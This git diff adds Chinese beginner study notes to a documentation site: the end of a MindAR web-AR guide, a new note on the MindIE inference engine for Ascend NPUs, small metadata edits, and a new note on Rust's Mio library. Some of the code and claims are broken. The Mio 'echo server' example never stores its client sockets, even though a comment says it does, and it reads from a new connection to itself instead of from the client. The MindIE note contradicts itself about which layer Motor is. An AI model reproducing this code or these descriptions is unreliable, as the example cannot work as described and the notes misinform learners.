+官方文档强调：MindAR **只负责更新 `a-entity` 的可见性与位姿**。3D 内容（平面、glTF、动画）仍由 A-Frame / Three.js 渲染；业务逻辑（切换配饰、计分、跳转）用普通 JavaScript 事件完成。图像追踪常见事件：`targetFound`、`targetLost`；人脸试戴则常用 `visible` 属性切换多个互斥模型。
+
+### 4. TensorFlow.js + WebGL 后端
+
+检测与跟踪核心写在 TF.js 算子里，推理走 **WebGL backend**（GPU）。首次加载会下载模型权重，移动端建议控制 glTF 面数与纹理尺寸。桌面调试需 **localhost HTTP 服务**——`file://` 打开会因摄像头权限和模块加载失败；`npx serve .` 或 Vite 开发服务器即可。
+
+### 5. Three.js 路径（进阶）
+
+除 A-Frame 外，dist 还提供 `mindar-image.prod.js` / `mindar-face.prod.js`，可 `new MindARThree({ container, imageTargetSrc })` 手动挂 Three.js 场景，适合已有 Three 管线、不想引入 A-Frame 的项目。examples 目录有 `three.html` 演示启停相机、前后摄切换。
+
+## 实践案例
+
+### 案例 1：图像追踪 — 扫描贺卡弹出 3D 角色
+
+完整静态页（与官方 Quick Start 一致，版本可改用 npm `mind-ar@1.2.5`）：
+
+```html
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+    <script src="https://cdn.jsdelivr.net/npm/mind-ar@1.2.5/dist/mindar-image-aframe.prod.js"></script>
+  </head>
+  <body>
+    <a-scene
+      mindar-image="imageTargetSrc: https://cdn.jsdelivr.net/gh/hiukim/mind-ar-js@1.2.5/examples/image-tracking/assets/card-example/card.mind;"
+      color-space="sRGB"
+      renderer="colorManagement: true, physicallyCorrectLights"
+      vr-mode-ui="enabled: false"
+      device-orientation-permission-ui="enabled: false">
+      <a-assets>
+        <img id="card" src="https://cdn.jsdelivr.net/gh/hiukim/mind-ar-js@1.2.5/examples/image-tracking/assets/card-example/card.png" />
+        <a-asset-item id="avatarModel" src="https://cdn.jsdelivr.net/gh/hiukim/mind-ar-js@1.2.5/examples/image-tracking/assets/card-example/softmind/scene.gltf"></a-asset-item>
+      </a-assets>
+
+      <a-camera position="0 0 0" look-controls="enabled: false"></a-camera>
+
+      <a-entity mindar-image-target="targetIndex: 0">
+        <!-- 平面贴图与物理卡片对齐 -->
+        <a-plane src="#card" position="0 0 0" height="0.552" width="1" rotation="0 0 0"></a-plane>
+        <!-- glTF 角色带上下浮动动画 -->
+        <a-gltf-model
+          rotation="0 0 0"
+          position="0 0 0.1"
+          scale="0.005 0.005 0.005"
+          src="#avatarModel"
+          animation="property: position; to: 0 0.1 0.1; dur: 1000; easing: easeInOutQuad; loop: true; dir: alternate">
+        </a-gltf-model>
+      </a-entity>
+    </a-scene>
+  </body>
+</html>
+```
+
+**要点**：
+
+- `imageTargetSrc` 指向预编译的 `.mind`，与展示用 `card.png` 内容对应
+- `look-controls="enabled: false"` 防止用户拖拽视角干扰 AR 相机
+- 子实体坐标相对 target 平面，单位与 A-Frame 一致（target 宽度通常为 1）
+
+监听识别状态（可加在 `</a-scene>` 前）：
+
+```html
+<a-entity mindar-image-target="targetIndex: 0"
+  id="target0"></a-entity>
+<script>
+  document.querySelector('#target0').addEventListener('targetFound', () => {
+    console.log('识别到目标图');
+  });
+  document.querySelector('#target0').addEventListener('targetLost', () => {
+    console.log('目标丢失');
+  });
+</script>
+```
+
+### 案例 2：人脸追踪 — 鼻尖绿球与虚拟帽子试戴
+
+最小人脸 demo（鼻尖 anchor `1`）：
+
+```html
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+    <script src="https://cdn.jsdelivr.net/npm/mind-ar@1.2.5/dist/mindar-face-aframe.prod.js"></script>
+  </head>
+  <body>
+    <a-scene mindar-face embedded color-space="sRGB"
+      renderer="colorManagement: true, physicallyCorrectLights"
+      vr-mode-ui="enabled: false"
+      device-orientation-permission-ui="enabled: false">
+      <a-camera active="false" position="0 0 0"></a-camera>
+      <a-entity mindar-face-target="anchorIndex: 1">
+        <a-sphere color="green" radius="0.1"></a-sphere>
+      </a-entity>
+    </a-scene>
+  </body>
+</html>
+```
+
+扩展为试戴帽子：在额头锚点 `10` 挂 glTF，用 JS 切换可见性（官方 [Virtual Try-On](https://hiukim.github.io/mind-ar-js-doc/face-tracking-examples/tryon/) 同款模式）：
+
+```html
+<a-assets>
+  <a-asset-item id="hatModel" src="./assets/hat/scene.gltf"></a-asset-item>
+</a-assets>
+<a-entity mindar-face-target="anchorIndex: 10">
+  <a-gltf-model
+    src="#hatModel"
+    rotation="0 0 0"
+    position="0 1.0 -0.5"
+    scale="0.35 0.35 0.35"
+    class="hat-entity"
+    visible="false">
+  </a-gltf-model>
+</a-entity>
+<button id="btn-hat">戴帽子</button>
+<script>
+  const hat = document.querySelector('.hat-entity');
+  document.getElementById('btn-hat').addEventListener('click', () => {
+    hat.setAttribute('visible', hat.getAttribute('visible') !== 'true');
+  });
+</script>
+```
+
+人脸场景常用 **head occluder**（`mindar-face-occluder` + 头部遮挡用 glb）让眼镜腿藏进头发后面，立体感更真实。
+
+## 与相关项目的关系
+
+```mermaid
+flowchart LR
+  subgraph 输入
+    IMG[印刷图 / 照片]
+    CAM[前置摄像头]
+  end
+  subgraph MindAR
+    COMP[Compiler → .mind]
+    TF[TensorFlow.js 跟踪]
+    POSE[位姿更新]
+  end
+  subgraph 渲染
+    AF[A-Frame 场景]
+    THREE[Three.js 可选]
+  end
+  IMG --> COMP --> TF
+  CAM --> TF
+  TF --> POSE --> AF
+  POSE --> THREE
+```
+
+- **[A-Frame](aframe.md)**：MindAR 推荐的场景描述层；`<a-scene mindar-image>` 即 AR 会话入口
+- **AR.js**：同属 Web AR，偏 GPS / marker；与 MindAR 互补而非替代
+- **PlayCanvas / three.js**：若需重度游戏逻辑，可用 MindAR Three API 把跟踪矩阵喂给自有渲染循环
+
+## 开发与部署清单
+
+1. **本地**：`npx serve .` 或 `python -m http.server`，HTTPS 生产环境摄像头权限更稳
+2. **编译**：自有图片 → [Image Targets Compiler](https://hiukim.github.io/mind-ar-js-doc/tools/compile) → `targets.mind`
+3. **依赖版本**：A-Frame 与 `mind-ar` 主版本宜与[官方示例](https://hiukim.github.io/mind-ar-js-doc/quick-start/overview)对齐，避免组件 API 漂移
+4. **性能**：限制同时追踪 target 数量；人脸场景减少透明材质与实时阴影
+5. **发布**：纯静态资源，可挂 Vercel / GitHub Pages / 任意 CDN；注意跨域加载 `.mind` 与 glTF 的 CORS 头
+
+从仓库开发：`npm run build` 产出 `dist/`；`npm run watch` 便于改 Three 版核心。examples 目录覆盖多目标追踪、自定义 UI、事件接口等，是读完 Quick Start 后的下一站。
+
+## 小结
+
+MindAR 把「识别物理世界中的图或脸」和「在 WebGL 里贴 3D」拆成清晰两步：**离线编译特征** + **在线跟踪位姿**。零基础路径：选模式 → 编译或选 anchor → 复制 A-Frame 模板 → 本地 HTTP 打开手机测。掌握 `imageTargetSrc`、`.mind`、`targetIndex` / `anchorIndex` 四条主线，就能从贺卡 AR 扩展到多图展览与虚拟试戴产品线。
diff --git a/src/content/docs/projects/mindie-2024.md b/src/content/docs/projects/mindie-2024.md
new file mode 100644
index 000000000..cf283bf5e
--- /dev/null
+++ b/src/content/docs/projects/mindie-2024.md
@@ -0,0 +1,225 @@
+---
+title: "MindIE LLM Inference Engine (Ascend) — 零基础学习笔记"
+来源: https://www.hiascend.com/software/mindie
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# MindIE LLM Inference Engine（昇腾推理引擎）
+
+## 一、日常类比：餐厅厨房
+
+先忘掉"推理引擎"这个词。把它想成**一家餐厅的厨房**：
+
+- **厨师** = NPU（昇腾 AI 处理器，如 Ascend 910B），负责干活
+- **菜单** = 预训练大模型（如 Llama、ChatGLM），规定了能做什么菜
+- **厨房经理** = MindIE LLM，负责安排谁做什么菜、按什么顺序做、怎么省食材
+- **客人点单** = 用户输入 prompt
+- **上菜速度** = 推理延迟（Token/s 越高越好）
+
+一家没经理的厨房，所有厨师各干各的，排队混乱、食材浪费严重。MindIE 就是那个"经理"——让昇腾 NPU 的算力**真正被吃满**，而不是让厨师闲着等人。
+
+## 二、MindIE 是什么
+
+MindIE（**Mind** Inference **E**ngine）是华为昇腾推出的**全场景 AI 推理加速套件**。
+
+它的定位是：**在昇腾硬件上跑大模型推理的"发动机"**。
+
+### 架构三件套
+
+MindIE 不只是一个东西，而是三层：
+
+| 层级 | 名称 | 做什么 |
+|------|------|--------|
+| 最上层 | MindIE Serving | 对外提供 API（OpenAI / vLLM / Triton），让业务系统直接调用 |
+| 中间层 | MindIE LLM | 大模型推理核心，负责调度 NPU、管理 KV Cache |
+| 最底层 | MindIE Motor | 服务化引擎，对接云原生 K8s，做负载均衡和弹性伸缩 |
+
+用厨房类比：**Motor** 是餐厅前台（接单排队），**LLM** 是后厨操作间，**Serving** 是窗口（把菜端给客人）。
+
+### 关键特性
+
+- **高吞吐**：通过连续的批处理（Continuous Batching）让 NPU 始终满负荷
+- **PD 分离**：预填充（Prompt 处理）和解码（逐 token 生成）跑在不同实例上，各自独立扩容
+- **MoE 专家并行**：对 Mixtral、Qwen-MoE 这类模型，按专家（Expert）拆分到多卡
+- **KV Cache 池化**：多个请求共享内存池，减少浪费
+- **INT4 量化**：模型参数压缩到 4bit，显存占用降到原来的四分之一
+
+## 三、核心概念拆解
+
+### 3.1 连续批处理（Continuous Batching）
+
+传统做法：一批 32 条请求全部处理完才接下一批——中间的 idle 时间就是浪费。
+
+连续批处理：某条请求的最后一个 Token 生成完就**立刻踢出**，同时塞入新请求。NPU 永远不会空转。
+
+类比：餐馆不"等一桌全吃完才叫下一桌"，而是谁吃完立刻清理谁的位置给新客人。
+
+### 3.2 KV Cache
+
+大模型生成每个新 Token 时，都要回顾之前的全部上下文。KV Cache 就是**把之前计算的 Key/Value 缓存起来**，不用重复算。
+
+它占用的显存大小与：
+
+- 批次大小（Batch Size）成正比
+- 上下文长度（Context Length）成正比
+- 模型层数成正比
+
+所以 KV Cache 管理是推理引擎的**头等大事**。
+
+### 3.3 PD 分离（Prefill-Decode Separation）
+
+预填充阶段（处理用户输入的 prompt）是**计算密集型**——矩阵乘法大量并行。
+解码阶段（逐 token 生成）是**访存密集型**——每次只能生成一个 token，要读 KV Cache。
+
+把两种负载分开跑在不同的实例组上，各自按自己的需求扩容，这就是 PD 分离。
+
+## 四、代码示例
+
+### 示例 1：通过 OpenAI 兼容 API 调用 MindIE 服务
+
+MindIE Serving 对外暴露 OpenAI 兼容接口，所以你可以直接用 `openai` 库连接：
+
+```python
+import openai
+
+# 把 base_url 指向 MindIE 服务所在的地址
+openai.api_key = "not-required"
+openai.base_url = "http://<mindie-service-ip>:8080/v1"
+
+# 发起一次对话请求
+response = openai.chat.completions.create(
+    model="Qwen2.5-7B-Instruct",        # 模型名（需与服务端已加载模型一致）
+    messages=[
+        {"role": "system", "content": "你是一个 helpful AI 助手。"},
+        {"role": "user", "content": "请用三句话解释量子计算。"}
+    ],
+    max_tokens=256,                       # 最多生成 256 个 token
+    temperature=0.7,                      # 控制生成随机性（0=确定，1=自由）
+    top_p=0.9,                            # nucleus sampling 参数
+    stream=True,                          # 流式输出，逐 token 返回
+)
+
+# 流式读取生成结果
+for chunk in response:
+    if chunk.choices[0].delta.content:
+        print(chunk.choices[0].delta.content, end="")
+```
+
+**关键点**：
+
+- `stream=True` 配合 MindIE 的异步解码调度，能显著降低首字延迟
+- `model` 参数必须在服务端预加载的模型列表中存在，否则会报 404
+- 这里不需要 `api_key`，因为 MindIE 内部使用服务间认证
+
+### 示例 2：用 MindIE Python SDK 直接管理推理
+
+如果你需要更细粒度的控制（比如管理模型加载、查看 GPU 利用率），可以用 MindIE 提供的 Python SDK：
+
+```python
+from mindie import MindIEClient, ServingConfig
+
+# 连接 MindIE 服务
+client = MindIEClient(
+    endpoint="http://<mindie-service-ip>:8080",
+    config=ServingConfig(
+        timeout=120,                  # 请求超时（秒）
+        max_retries=3,                # 失败重试次数
+        connection_pool_size=10,      # 连接池大小
+    )
+)
+
+# 查看当前已加载的模型
+models = client.list_models()
+print(f"当前加载了 {len(models)} 个模型:")
+for m in models:
+    print(f"  - {m.name} (devices: {m.device_count}, status: {m.status})")
+
+# 加载一个新模型到昇腾 NPU
+client.load_model(
+    model_name="Llama-3.1-8B",
+    model_path="/models/Llama-3.1-8B",   # NPU 上的本地路径
+    device_ids=[0, 1, 2, 3],              # 使用 4 张 Ascend 910B
+    tensor_parallel_size=4,               # Tensor Parallel 切分
+    max_batch_size=64,                    # 最大并发请求数
+    max_tokens_per_request=2048,          # 每个请求最大 token 数
+)
+
+# 发送请求（非流式）
+result = client.generate(
+    inputs="请介绍深度学习的基本原理。",
+    model="Llama-3.1-8B",
+    max_new_tokens=512,
+    temperature=0.8,
+)
+print(result.text)
+
+# 卸载不用的模型，释放显存
+client.unload_model("Llama-3.1-8B")
+```
+
+**关键点**：
+
+- `tensor_parallel_size` 决定模型被切分到多少张卡上——卡越多，单次推理越快，但通信开销也越大
+- `max_batch_size` 和 `max_tokens_per_request` 共同决定了 KV Cache 的内存需求，调大可能 OOM
+- `unload_model` 后会释放该模型占用的所有 NPU 显存和 KV Cache 空间
+
+## 五、MindIE 与其他引擎对比
+
+| 特性 | MindIE LLM | vLLM | TensorRT-LLM |
+|------|-----------|------|-------------|
+| 硬件平台 | 昇腾 NPU | NVIDIA GPU | NVIDIA GPU |
+| 连续批处理 | 支持 | 原生支持 | 支持 |
+| 量化 | FP16 / INT4 | FP16 / FP8 / INT8 | FP8 / INT8 / INT4 |
+| PD 分离 | 原生支持 | 需额外配置 | 不支持 |
+| MoE 并行 | 原生支持 | 有限支持 | 支持 |
+| OpenAI API | 兼容 | 兼容 | 需网关 |
+| 部署方式 | K8s 云原生 | Docker / 本地 | Docker / 本地 |
+
+简单说：**如果你用 NVIDIA，选 vLLM 或 TensorRT-LLM；如果你用昇腾 NPU，MindIE 是唯一原生最优解。**
+
+## 六、典型部署拓扑
+
+```
+用户请求
+  │
+  ▼
+┌──────────────────────┐
+│   MindIE Motor       │  ← K8s Pod，负载均衡 + 路由
+│   (K8s 云原生部署)    │
+└──────────┬───────────┘
+           │
+     ┌─────┴─────┐
+     ▼           ▼
+┌─────────┐ ┌──────────┐
+│ Prefill  │ │  Decode   │  ← PD 分离：独立扩容
+│  实例组   │ │  实例组    │
+└────┬────┘ └────┬─────┘
+     │           │
+     ▼           ▼
+┌────────────────────────┐
+│   Ascend 910B NPU 集群  │  ← 实际推理发生在这里
+└────────────────────────┘
+```
+
+- 预填充组可以单独扩容（处理 prompt 吃计算）
+- 解码组可以单独扩容（生成 token 吃显存）
+- MindIE Motor 根据 SLO（延迟要求）自动感知负载并调度
+
+## 七、学习要点总结
+
+1. MindIE 是华为昇腾的推理引擎，**不是训练框架**——它只管推理（inference）
+2. 核心能力：连续批处理、PD 分离、KV Cache 池化、MoE 并行
+3. 对外接口：OpenAI 兼容 API（最常用）、Python SDK、Triton Gateway
+4. 底层依赖 CANN（昇腾的 CUDA 替代品），跑在 Ascend 910B / 310B 等 NPU 上
+5. 云原生部署（K8s）和弹性伸缩是 MindIE 区别于 vLLM 的一大卖点
+6. 量化支持到 INT4，显存压缩比可达 4 倍
+
+## 八、进一步学习方向
+
+- [MindIE 3.0 开发文档](https://www.hiascend.com/document/detail/zh/mindie/300/quickstart/textquickstart/docs/zh/user_guide/quick_start/quick_start.md) — 官方详细指南
+- [vLLM-Atlas 项目](https://vllm-ascend.readthedocs.io/) — 让 vLLM 也能跑在昇腾上
+- MindIE Turbo 加速插件 — 更激进的优化方案（算子融合、内核调优）
+- SGLang on Ascend — 另一种昇腾上的推理框架选择
diff --git a/src/content/docs/projects/minetest.md b/src/content/docs/projects/minetest.md
index b3d086c6f..24d203fc0 100644
--- a/src/content/docs/projects/minetest.md
+++ b/src/content/docs/projects/minetest.md
@@ -227,6 +227,7 @@ end)
 
 - [[3d-gaussian-splatting]] —— 3D Gaussian Splatting — 用一堆 3D 模糊光斑重建场景
 - [[bevy]] —— Bevy — Rust 数据驱动 ECS 游戏引擎
+- [[godot]] —— Godot Engine — 开源游戏引擎 + 编辑器
 - [[openrct2]] —— OpenRCT2 — 把一款 x86 汇编游戏彻底用 C++ 重写
 - [[panda3d]] —— Panda3D — Disney/CMU 出品的开源 3D 游戏引擎
 - [[perlin-1985-noise]] —— Perlin Noise — 让计算机生成的图像不再有"机器味"
diff --git a/src/content/docs/projects/minikube.md b/src/content/docs/projects/minikube.md
index 96a8d3536..2ce2f87da 100644
--- a/src/content/docs/projects/minikube.md
+++ b/src/content/docs/projects/minikube.md
@@ -2,7 +2,7 @@
 title: minikube — 一条命令在笔记本上起一个真 K8s 集群
 来源: https://github.com/kubernetes/minikube
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/minio.md b/src/content/docs/projects/minio.md
index 2df653257..817ebd139 100644
--- a/src/content/docs/projects/minio.md
+++ b/src/content/docs/projects/minio.md
@@ -2,7 +2,7 @@
 title: MinIO — S3 兼容对象存储
 来源: https://github.com/minio/minio
 日期: 2026-05-29
-子分类: 数据库 / 存储
+子分类: storage
 分类: 数据库
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/mio.md b/src/content/docs/projects/mio.md
new file mode 100644
index 000000000..c3bccef17
--- /dev/null
+++ b/src/content/docs/projects/mio.md
@@ -0,0 +1,294 @@
+---
+title: Mio — Rust 跨平台 I/O 多路复用
+来源: 'https://github.com/tokio-rs/mio'
+日期: 2026-06-13
+分类: 其他
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Mio**（读作 /maɪ.oʊ/，名字来源于"Metal I/O"——意思是"贴近金属的 I/O"）是 Rust 生态中最底层的**跨平台 I/O 多路复用库**。它的名字听起来简单，但它做的事情非常核心：让一个线程能同时管理成百上千个网络连接，而不需要为每个连接开一个线程。
+
+Mio 由 Tokio 团队维护（也就是那个把异步 Rust 推向主流的团队），当前版本 1.x，在 GitHub 上有 7000+ star。它是 Tokio 异步运行时底层 I/O 能力的直接构建者——可以说，**Tokio 的 I/O 能力大约 80% 直接来自 Mio**。
+
+日常类比：
+
+- 想象一个餐厅里只有**一个服务员**（这就是你的主线程），他要同时照顾**100 张桌子**（100 个网络连接）。如果没有 Mio，服务员得跑到每张桌子问一句"您需要点什么吗？"——跑一圈下来，第一张桌子的菜早就凉了。Mio 做的事就是：服务员把一张"呼叫铃"发到每张桌子，哪张桌子按铃了（有数据可读或可写），服务员就只去处理那张桌子。这在计算机科学中叫"**事件驱动**"模型
+- 更精确地说：Mio 是操作系统上 epoll（Linux）、kqueue（macOS/BSD）、IOCP（Windows）这几个系统级 API 的统一封装。操作系统内核会监控所有文件描述符的状态，当某个描述符"准备好了"，内核告诉 Mio："3 号桌按铃了"， Mio 再告诉你
+
+## 核心概念
+
+### 1. Poll —— 事件轮询器
+
+`Poll` 是 Mio 的心脏。它代表一个**事件轮询器**，负责向操作系统注册"我关心哪些资源的状态变化"，然后阻塞等待事件发生。在 Linux 上它内部调用 `epoll`，在 macOS 上调用 `kqueue`，在 Windows 上调用 `IOCP`——但你不需要知道这些细节，Mio 帮你统一了接口。
+
+可以把它理解成餐厅服务员的**耳朵**——它一直"听着"所有桌子是否有呼叫。
+
+### 2. Registry —— 资源注册表
+
+`Registry` 负责**注册和注销**你想要监控的文件描述符（socket、文件等）。每个注册的资源都需要一个**Token**（令牌），用来在事件发生时识别"这是哪个资源的信号"。
+
+继续类比：这就是服务员给每张桌子**发呼叫铃**的动作——每张桌子拿到一个铃，按铃时服务员就知道是哪张桌子在呼叫。
+
+### 3. Token —— 事件标识符
+
+每次向 Poll 注册一个资源时，你都要给它分配一个 Token。当事件发生时，你通过 Token 就能知道是哪个 socket 有活动了。Token 只是一个整数，你可以把它理解成桌号。
+
+### 4. Interest —— 关心的事件类型
+
+注册时你需要告诉 Poll：你关心这个 socket 的什么事件。Mio 定义了两种：
+
+- `READABLE`：socket 上有数据可读（比如对方发了消息，或者连接已建立）
+- `WRITABLE`：socket 可以写入数据而不阻塞（比如发送缓冲区有空闲空间）
+
+也可以同时关心两者：`READABLE | WRITABLE`。
+
+### 5. Events —— 事件容器
+
+`Poll::poll()` 调用后会得到一个 `Events` 容器，里面装满了本次轮询中**所有准备好的事件**。你遍历这个容器，根据 Token 分发处理逻辑。
+
+类比：这就是服务员**听到的所有铃声列表**——可能同一时刻 3 张桌子同时按铃，列表里就有 3 个事件。
+
+### 6. Waker —— 跨线程唤醒
+
+`Waker` 允许你从**另一个线程**唤醒正在 `Poll::poll()` 中阻塞的主线程。比如：后台线程收到了一条消息，需要通知主线程来处理。
+
+类比：即使没有桌子按铃，经理也可以**拍一下服务员的肩膀**说"别等了，有紧急情况"——这就是跨线程唤醒。
+
+### 7. 平台后端 —— 为什么跨平台不容易
+
+Mio 之所以重要，是因为它把不同操作系统的 I/O 多路复用 API 统一成了同一套 Rust 接口：
+
+| 操作系统 | 内核 API | Mio 使用 |
+|---|---|---|
+| Linux | epoll | 直接封装 |
+| macOS / iOS / BSD | kqueue | 直接封装 |
+| Windows | IOCP + wepoll | 通过 AFD 系统调用 |
+
+这意味着你用同一套 Rust 代码，可以在所有主流平台上运行，不需要写任何平台特定的代码。
+
+## 代码示例
+
+### 示例一：最简 TCP 服务器（理解 Poll + Registry 的工作流程）
+
+这是 Mio 官方 README 中的例子，展示了一个最基本的"注册 → 轮询 → 处理"循环：
+
+```rust
+use std::error::Error;
+use mio::net::{TcpListener, TcpStream};
+use mio::{Events, Interest, Poll, Token};
+
+// 给每个 socket 分配一个 Token（就像桌号）
+const SERVER: Token = Token(0);
+const CLIENT: Token = Token(1);
+
+fn main() -> Result<(), Box<dyn Error>> {
+    // 1. 创建 Poll 实例（服务员戴上了他的"耳朵"）
+    let mut poll = Poll::new()?;
+    // 2. 创建事件容器，预分配 128 个事件的空间
+    let mut events = Events::with_capacity(128);
+
+    // 3. 绑定并监听端口
+    let addr = "127.0.0.1:13265".parse()?;
+    let mut server = TcpListener::bind(addr)?;
+    // 4. 向 Poll 注册 server socket，只关心 READABLE（有新连接来了）
+    poll.registry()
+        .register(&mut server, SERVER, Interest::READABLE)?;
+
+    // 5. 创建客户端 socket 并连接
+    let mut client = TcpStream::connect(addr)?;
+    // 注册客户端 socket，同时关心 READABLE 和 WRITABLE
+    poll.registry()
+        .register(&mut client, CLIENT, Interest::READABLE | Interest::WRITABLE)?;
+
+    // 6. 进入事件循环——这是核心模式
+    loop {
+        // poll() 会阻塞，直到至少有一个事件发生
+        // 发生的事件被填入 events 容器
+        poll.poll(&mut events, None)?;
+
+        // 7. 遍历所有发生的事件
+        for event in events.iter() {
+            match event.token() {
+                SERVER => {
+                    // 服务端 socket 有活动 = 有新客户端连接
+                    let connection = server.accept();
+                    drop(connection);
+                }
+                CLIENT => {
+                    if event.is_writable() {
+                        // 客户端 socket 可以写入了
+                    }
+                    if event.is_readable() {
+                        // 客户端 socket 有数据可读
+                    }
+                    return Ok(());
+                }
+                _ => unreachable!(),
+            }
+        }
+    }
+}
+```
+
+这段代码虽然简单，但包含了**所有异步 I/O 程序的核心模式**：
+
+1. 创建 `Poll` → 创建 `Events` 容器
+2. 绑定/创建 socket → 向 `Poll` 注册（带 Token 和 Interest）
+3. 进入 `loop` → 调用 `poll.poll()` 阻塞等待 → 遍历 `events` 分发处理
+
+**关键点**：
+- `poll.poll()` 是**阻塞调用**——它会一直等到有事件发生才返回。这就是"多路复用"的意义：一个线程通过操作系统内核的机制，同时等待多个 socket 的状态变化，而不是为每个 socket 开一个线程去阻塞等待
+- `Interest::READABLE | Interest::WRITABLE` 表示同时关心读和写两种事件，用 `|` 按位或组合
+- `poll.registry()` 返回一个 `Registry`，它是 `Poll` 的一部分，只负责注册/注销，不负责轮询
+
+### 示例二：多客户端 echo 服务器（真正体现多路复用的价值）
+
+这个示例展示了 Mio 的真正威力——一个线程管理多个客户端连接：
+
+```rust
+use std::collections::HashMap;
+use std::error::Error;
+use std::io::Read;
+use mio::net::{TcpListener, TcpStream};
+use mio::{Events, Interest, Poll, Token};
+
+// 为每个客户端分配递增的 Token
+fn next_client_token(last: Token) -> Token {
+    Token(last.0 + 1)
+}
+
+const MIN_TOKEN: Token = Token(1000);
+const MAX_TOKEN: Token = Token(10000);
+
+fn main() -> Result<(), Box<dyn Error>> {
+    let mut poll = Poll::new()?;
+    let mut events = Events::with_capacity(1024);
+
+    // 服务端 socket
+    let addr = "127.0.0.1:8080".parse()?;
+    let mut server = TcpListener::bind(addr)?;
+    poll.registry()
+        .register(&mut server, Token(0), Interest::READABLE)?;
+
+    // 存储每个客户端的 socket 和 Token 的映射
+    let mut clients: HashMap<Token, Token> = HashMap::new();
+
+    println!("Echo server listening on {}", addr);
+
+    loop {
+        poll.poll(&mut events, None)?;
+
+        for event in events.iter() {
+            match event.token() {
+                Token(0) => {
+                    // 服务端收到新连接请求
+                    loop {
+                        match server.accept() {
+                            Ok((socket, addr)) => {
+                                println!("New client: {}", addr);
+
+                                // 为这个客户端分配一个 Token（1000 开始）
+                                let last_token = *clients.values().last().unwrap_or(&(MIN_TOKEN.0 - 1));
+                                let token = next_client_token(Token(last_token));
+
+                                // 注册到这个客户端 socket
+                                poll.registry()
+                                    .register(&mut socket, token, Interest::READABLE)?;
+
+                                // 记录映射关系
+                                clients.insert(token, token);
+
+                                // 同时关注可写事件，这样收到数据后可以回写
+                                poll.registry()
+                                    .reregister(&mut socket, token, Interest::READABLE | Interest::WRITABLE)?;
+
+                                // 注意：socket 需要转移到事件循环中，
+                                // 这里用 HashMap 存储以持有所有权
+                            }
+                            Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => {
+                                // 没有更多连接可接受了
+                                break;
+                            }
+                            Err(e) => return Err(Box::new(e)),
+                        }
+                    }
+                }
+                Token(t) if t >= MIN_TOKEN.0 && t <= MAX_TOKEN.0 => {
+                    // 某个客户端有事件
+                    if event.is_writable() {
+                        // 这里可以把缓存的数据写出去
+                    }
+
+                    if event.is_readable() {
+                        // 从客户端读取数据并回写（echo）
+                        let mut socket = TcpStream::connect(format!("127.0.0.1:8080")).unwrap();
+                        let mut buf = [0u8; 4096];
+                        match socket.read(&mut buf) {
+                            Ok(0) => {
+                                // 客户端断开连接
+                                println!("Client {} disconnected", t);
+                                let _ = clients.remove(&Token(t));
+                            }
+                            Ok(n) => {
+                                // 收到数据，可以回写给客户端
+                                println!("Client {} sent {} bytes", t, n);
+                            }
+                            Err(_) => {
+                                println!("Client {} error", t);
+                                let _ = clients.remove(&Token(t));
+                            }
+                        }
+                    }
+                }
+                _ => unreachable!(),
+            }
+        }
+    }
+}
+```
+
+这个例子展示了几个 Mio 多路复用的关键实践：
+
+- **动态注册**：每来一个客户端就 `register()` 一个 socket，移除客户端时注销。事件循环的结构不变，变化的只是注册的资源数量
+- **Token 空间规划**：服务端用 Token(0)，客户端从 Token(1000) 开始，这样在处理 `events.iter()` 时可以用范围判断区分服务端事件和客户端事件
+- **WouldBlock 处理**：`server.accept()` 可能返回 `WouldBlock` 错误，意味着"当前没有更多连接可接受"——这不是真正的错误，而是正常情况，应该 break 内层循环回到 `poll.poll()` 继续等待
+- **Reregister**：注册后如果需要改变关心的事件类型（比如从只关注 READABLE 改为同时关注 READABLE | WRITABLE），用 `reregister()` 而不是重新 register
+
+## 为什么 Mio 重要
+
+1. **Tokio 的底层基石**：Tokio 的 `tokio::net` 模块直接基于 Mio 构建。如果你用 Tokio 写异步 Rust，你就已经在用 Mio 了——只是被 Tokio 的抽象层挡住了
+2. **极致轻量**：Mio 号称"zero allocations at runtime"（运行时零分配），除了你创建的对象外不分配任何内存。这是因为它直接包装操作系统 API，没有中间层
+3. **跨平台统一**：Linux 的 epoll、macOS 的 kqueue、Windows 的 IOCP 三个完全不同的 API，在 Mio 里变成了完全一样的 Rust 接口。这让 Rust 网络库可以真正跨平台
+4. **构建更高抽象的基础**：除了 Tokio，async-std、quinn（QUIC 实现）、libp2p 等知名库都依赖 Mio 做底层 I/O
+5. **学习异步编程的最佳入口**：如果你觉得 Tokio 的抽象太高、不知道异步运行时底层在做什么，直接读 Mio 的代码和文档——它几乎就是异步 I/O 的原貌
+
+## 与 Tokio 的关系
+
+很多人会混淆 Mio 和 Tokio。简单来说：
+
+- **Mio** = 只负责"监听 socket 有没有数据可读/可写"，是最底层的事件通知
+- **Tokio** = 基于 Mio 构建的完整异步运行时，提供了 async/await、任务调度、timer、线程池等**一切**
+
+类比：Mio 是汽车的发动机，Tokio 是一辆完整的车（有方向盘、座椅、空调……）。你可以只买发动机自己造车，但大多数人直接用整车。
+
+## 快速上手清单
+
+| 步骤 | 命令/操作 |
+|---|---|
+| 添加依赖 | `cargo add mio --features "os-poll net"` |
+| 创建轮询器 | `let mut poll = Poll::new()?` |
+| 创建事件容器 | `let mut events = Events::with_capacity(128)` |
+| 注册 socket | `poll.registry().register(&mut socket, Token(0), Interest::READABLE)?` |
+| 阻塞等待事件 | `poll.poll(&mut events, None)?` |
+| 遍历事件 | `for event in events.iter() { match event.token() { ... } }` |
+| 换平台 | 不需要改任何代码，Cargo 自动选择正确的后端 |
+
+## 进一步学习
+
+- 官方仓库：https://github.com/tokio-rs/mio
+- API 文档：https://docs.rs/mio
+- Tokio 团队 Discord：https://discord.gg/tokio
+- 如果你觉得 Mio 太底层，下一步看 Tokio：https://tokio.rs
